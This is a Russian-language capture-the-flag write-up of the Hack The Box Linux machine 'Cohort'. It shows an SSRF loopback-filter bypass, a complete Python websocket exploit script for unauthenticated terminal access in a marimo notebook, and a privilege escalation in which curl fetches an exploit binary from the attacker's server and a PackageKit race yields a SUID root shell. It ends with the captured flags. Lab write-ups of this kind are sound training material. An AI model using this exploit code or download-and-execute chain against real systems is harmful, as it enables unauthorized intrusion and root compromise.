

# Cohort

Linux - easy

[https://app.hackthebox.com/machines/Cohort?tab=play\\_machine](https://app.hackthebox.com/machines/Cohort?tab=play_machine)

## Основная информация:

Сервер: nginx

Открытые порты: 22, 80, 443, 8888

Хост: cohort.htb

Путь: /var/www/cohort

Скрытый хост: nb-1be3782a8afd3ad5.cohort.htb

Порт: 8888

Информация: Внутреннее рабочее пространство аналитика, не для внешнего использования.

## Разведка:

Вывод nmap:

```
└─$ nmap -sV -sC -O 10.129.93.135
Starting Nmap 7.98 ( https://nmap.org ) at 2026-08-19 12:40 +0300
Nmap scan report for cohort.htb (10.129.93.135)
Host is up (0.23s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|_ 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_ 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp    open  http      nginx 1.24.0 (Ubuntu)
|_ http-title: Did not follow redirect to https://cohort.htb/
|_ http-server-header: nginx/1.24.0 (Ubuntu)
443/tcp   open  ssl/http  nginx 1.24.0 (Ubuntu)
|_ http-title: Cohort Analytics
|_ ssl-date: TLS randomness does not represent time
|_ ssl-cert: Subject: commonName=cohort.htb/organizationName=Cohort Analytics
|_ Subject Alternative Name: DNS:cohort.htb, DNS:*.cohort.htb
|_ Not valid before: 2026-06-01T18:47:07
|_ Not valid after: 2126-05-08T18:47:07
|_ tls-alpn:
|_ http/1.1
|_ http/1.0
|_ http/0.9
|_ http-server-header: nginx/1.24.0 (Ubuntu)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 31.87 seconds
```

Сайт имеет функцию проверки ссылки на валидность.

Предположение: проверить какие файлы доступны самого сервера.

Вывод wigr - при попытке обратиться к адресу: 127.0.0.1:

```
POST /api/validate HTTP/1.1
Host: cohort.htb
Content-Length: 42
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: ru-RU,ru;q=0.9
Accept: application/json
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Origin: https://cohort.htb
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://cohort.htb/portal.html
Accept-Encoding: gzip, deflate, br
Priority: u=1,i
Connection: keep-alive

{
  "url": "https://127.0.0.1:8888/",
  "format": "csv"
}
```

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.24.0 (Ubuntu)
3 Date: Wed, 19 Aug 2026 09:48:33 GMT
4 Content-Type: application/json
5 Content-Length: 77
6 Connection: keep-alive
7
8 {
9   "ok": false,
10  "message": "Internal or loopback addresses are not permitted."
11 }
```

Попытки обойти валидацию:

Сервер пропускает такой вид локалхоста:

1. в десятичном формате
2. 127.1

Попытка сбора информации:

Порт 8888 открыт:

```
POST /api/validate HTTP/1.1
Host: cohort.htb
Content-Length: 43
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: ru-RU,ru;q=0.9
Accept: application/json
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Origin: https://cohort.htb
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://cohort.htb/portal.html
Accept-Encoding: gzip, deflate, br
Priority: u=1,i
Connection: keep-alive

{
  "url": "http://127.1.8888/",
  "format": "csv"
}
```

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.24.0 (Ubuntu)
3 Date: Wed, 19 Aug 2026 09:46:23 GMT
4 Content-Type: application/json
5 Content-Length: 1515
6 Connection: keep-alive
7
8 {
9   "ok": true,
10  "fetched_status": 200,
11  "content_type": "text/html; charset=utf-8",
12  "preview":
13    "<!(DOCTYPE html><html lang='en'><head><meta charset='UTF-8'><meta name='viewport' content='width=device-width, initial-scale=1.0'><title>marinao</title></head><body style='background-color: #f4f4f9; display: flex; justify-content: center; align-items: center; height: 100vh; margin: 0;'><div style='width: 100%; padding: 20px; background-color: white; border-radius: 8px; box-shadow: 0 4px 8px rgba(0,0,0,0.1); text-align: center;'><div style='margin-bottom: 20px;'><label for='password' style='display: block; margin-bottom: 5px; font-size: 16px; font-family: Arial, sans-serif; color: #333;'>Access Token / Password</label><input id='password' name='password' type='password' style='width: 100%; border: 1px solid #ccc; border-radius: 4px;'></div><div style='margin-top: 10px;'><button type='submit' style='background-color: #1c7862; color: white; padding: 10px 20px; border: none; border-radius: 4px; cursor: pointer;'>Login</button></div></div></body></html></div>
14  "message": "Source reachable."
15 }
```

Попытка получить более подробные данные о сервере: /status

```
POST /api/validate HTTP/1.1
Host: cohort.htb
Content-Length: 44
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: ru-RU,ru;q=0.9
Accept: application/json
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Origin: https://cohort.htb
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://cohort.htb/portal.html
Accept-Encoding: gzip, deflate, br
Priority: u=1,i
Connection: keep-alive

{
  "url": "http://127.1/status",
  "format": "csv"
}
```

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.24.0 (Ubuntu)
3 Date: Wed, 19 Aug 2026 09:59:28 GMT
4 Content-Type: application/json
5 Content-Length: 548
6 Connection: keep-alive
7
8 {
9   "ok": true,
10  "fetched_status": 200,
11  "content_type": "application/json",
12  "preview":
13    "{\n  \"service\": \"cohort-edge\",\n  \"status\": \"ok\",\n  \"generated_by\": \"nginx\",\n  \"upstreams\": {\n    \"name\": \"marinao\",\n    \"host\": \"cohort.htb\",\n    \"root\": \"./usr/www/cohort/\",\n    \"name\": \"insights-api\",\n    \"host\": \"cohort.htb\",\n    \"path\": \"/api/\",\n    \"target\": \"127.0.0.1:5000\"},\n  {\n    \"name\": \"notebooks\",\n    \"host\": \"nb-1be3782a8afd3ad5.cohort.htb\",\n    \"target\": \"127.0.0.1:8888\",\n    \"note\": \"internal analyst workspace, not for external use\"}}",
14  "message": "Source reachable."
15 }
```

Изучение nb-1be3782a8afd3ad5.cohort.htb:

После перехода на сайт встречается поле ввода пароля/токена.

Данный сайт - marimo (современный реактивный интерактивный блокнот (notebook) с открытым исходным кодом для языка Python)

После проверки, оказалось, что в marimo была критическая уязвимость - [CVE-2026-39987 \(marimo\)](#)

Используя данный скрипт я получила доступ к системе:

```
import socket, ssl, base64, os, struct, time, select

TARGET_IP = "<machine_ip>"
HOST = "nb-1be3782a8afd3ad5.cohort.htb"
PATH = "/terminal/ws"

def connect():
    raw = socket.create_connection((TARGET_IP, 443), timeout=5)
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    s = ctx.wrap_socket(raw, server_hostname=HOST)
    key = base64.b64encode(os.urandom(16)).decode()
    req = (f"GET {PATH} HTTP/1.1\r\nHost: {HOST}\r\nUpgrade: websocket\r\n"
          f"Connection: Upgrade\r\nSec-WebSocket-Key: {key}\r\n"
          f"Sec-WebSocket-Version: 13\r\nOrigin: https://{HOST}\r\n\r\n")
    s.sendall(req.encode())
    s.settimeout(5)
    resp = b""
    while b"\r\n\r\n" not in resp:
        resp += s.recv(4096)
    print("[+] Handshake response:")
    print(resp.decode(errors="replace"))
    return s

def send_text(s, text):
    payload = text.encode()
    mask = os.urandom(4)
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(payload))
    length = len(payload)
    if length <= 125:
        header = struct.pack("!BB", 0x81, 0x80 | length)
    elif length <= 65535:
        header = struct.pack("!BBH", 0x81, 0x80 | 126, length)
    else:
        header = struct.pack("!BBQ", 0x81, 0x80 | 127, length)
```

```

s.sendall(header + mask + masked)

def recv_frames(s, duration=3):
    end = time.time() + duration
    buf = b""
    out = b""
    while time.time() < end:
        r, _, _ = select.select([s], [], [], 0.5)
        if r:
            try:
                chunk = s.recv(4096)
            except (socket.timeout, ssl.SSLWantReadError):
                continue
            if not chunk:
                break
            buf += chunk
    while len(buf) >= 2:
        b1 = buf[1]
        masked = b1 & 0x80
        plen = b1 & 0x7F
        idx = 2
        if plen == 126:
            if len(buf) < 4: break
            plen = struct.unpack("!H", buf[2:4])[0]; idx = 4
        elif plen == 127:
            if len(buf) < 10: break
            plen = struct.unpack("!Q", buf[2:10])[0]; idx = 10
        if masked:
            if len(buf) < idx + 4: break
            mask_key = buf[idx:idx+4]; idx += 4
        else:
            mask_key = None
        if len(buf) < idx + plen: break
        payload = buf[idx:idx+plen]
        if mask_key:
            payload = bytes(c ^ mask_key[i % 4] for i, c in
enumerate(payload))
        out += payload
        buf = buf[idx+plen:]
    return out

if __name__ == "__main__":
    import sys
    cmd = sys.argv[1] if len(sys.argv) > 1 else "id; whoami; hostname"
    s = connect()
    print(recv_frames(s, 3).decode(errors="replace"))

```

```
send_text(s, cmd + "\r")
print(recv_frames(s, 4).decode(errors="replace"))
```

## Получение флагов:

### Пользовательский флаг:

```
└─$ python3 poc.py "cat /home/marimo/user.txt"
[+] Handshake response:
HTTP/1.1 101 Switching Protocols
Server: nginx/1.24.0 (Ubuntu)
Date: Wed, 19 Aug 2026 10:40:07 GMT
Connection: upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 22XqlbrE+nK14qcjZGjU0Z351Wk=

marimo@cohort:~$ 0'0K
cat /home/marimo/user.txt
28905b06c0676e7b11a7004e07fd7d3c
marimo@cohort:~$
```

### Root флаг:

[CVE-2026-41651 \(PackageKit\)](#)

Скачиваю exploit.bin с данного сайта: <https://github.com/shibaaa204/Pack2TheRoot>

поднимаю свой сервер:

```
python3 -m http.server 8000
```

```
python3 poc.py "curl -s -o /tmp/exploit.bin http://10.10.16.136:8000/exploit.bin
&& chmod +x /tmp/exploit.bin && ls -la /tmp/exploit.bin"
```

провожаю гонку:

```
python3 poc.py "rm -f /tmp/.suid_bash /tmp/pk.log; nohup /tmp/exploit.bin >
/tmp/pk.log 2>&1 & sleep 1; echo started"
```

```
python3 poc.py "cat /tmp/pk.log; echo ---; stat /tmp/.suid_bash 2>&1" :
```

```

[+] Handshake response:
HTTP/1.1 101 Switching Protocols
Server: nginx/1.24.0 (Ubuntu)
Date: Wed, 19 Aug 2026 11:07:11 GMT
Connection: upgrade
Upgrade: websocket
Sec-WebSocket-Accept: UvTARg/Ra8+zXhn08HoL+xBAFgc=

marimo@cohort:~$ {#00
cat /tmp/pk.log; echo ---; stat /tmp/.suid_bash 2>&1
nohup: ignoring input
/tmp/.suid_bash: error reading input file: Bad file descriptor
---
  File: /tmp/.suid_bash
  Size: 1446024      Blocks: 2832      IO Block: 4096   regular file
Device: 8,4      Inode: 92740      Links: 1
Access: (4755/-rwsr-xr-x)  Uid: (  0/   root)   Gid: (  0/   root)
Access: 2026-08-19 11:05:48.020007396 +0000
Modify: 2026-08-19 11:05:47.348007357 +0000
Change: 2026-08-19 11:05:47.348007357 +0000
 Birth: 2026-08-19 11:05:47.342007356 +0000
marimo@cohort:~$

```

Получение флага:

```
python3 poc.py "/tmp/.suid_bash -p -c 'id; cat /root/root.txt'"
```

```

$ python3 poc.py "/tmp/.suid_bash -p -c 'id; cat /root/root.txt'"
[+] Handshake response:
HTTP/1.1 101 Switching Protocols
Server: nginx/1.24.0 (Ubuntu)
Date: Wed, 19 Aug 2026 11:08:43 GMT
Connection: upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 1GkGnSFBB0apzv5+jKX3MBbCJts=

marimo@cohort:~$ {00
/tmp/.suid_bash -p -c 'id; cat /root/root.txt'
uid=1000(marimo) gid=1000(marimo) euid=0(root) groups=1000(marimo)
29a8d3b3deb61a7fabf8e64f924d5663
marimo@cohort:~$

```



**Cohort**  
Easy · Linux

★ 3.7 (236)  
Machine Rating

🏆 585  
XP reward



- Play Machine
- Machine Info
- Walkthroughs
- Reviews
- Activity
- Changelog



☁ US Machines 4

↕ Switch VPN

Target IP Address

● 10.129.93.135



🕒 06:08:22

Submit User Flag

User flag owned



Submit Flag

Submit flag difficulty rating



Submit Rating

Submit Root Flag

Root flag owned



Submit Flag

Submit flag difficulty rating



Submit Rating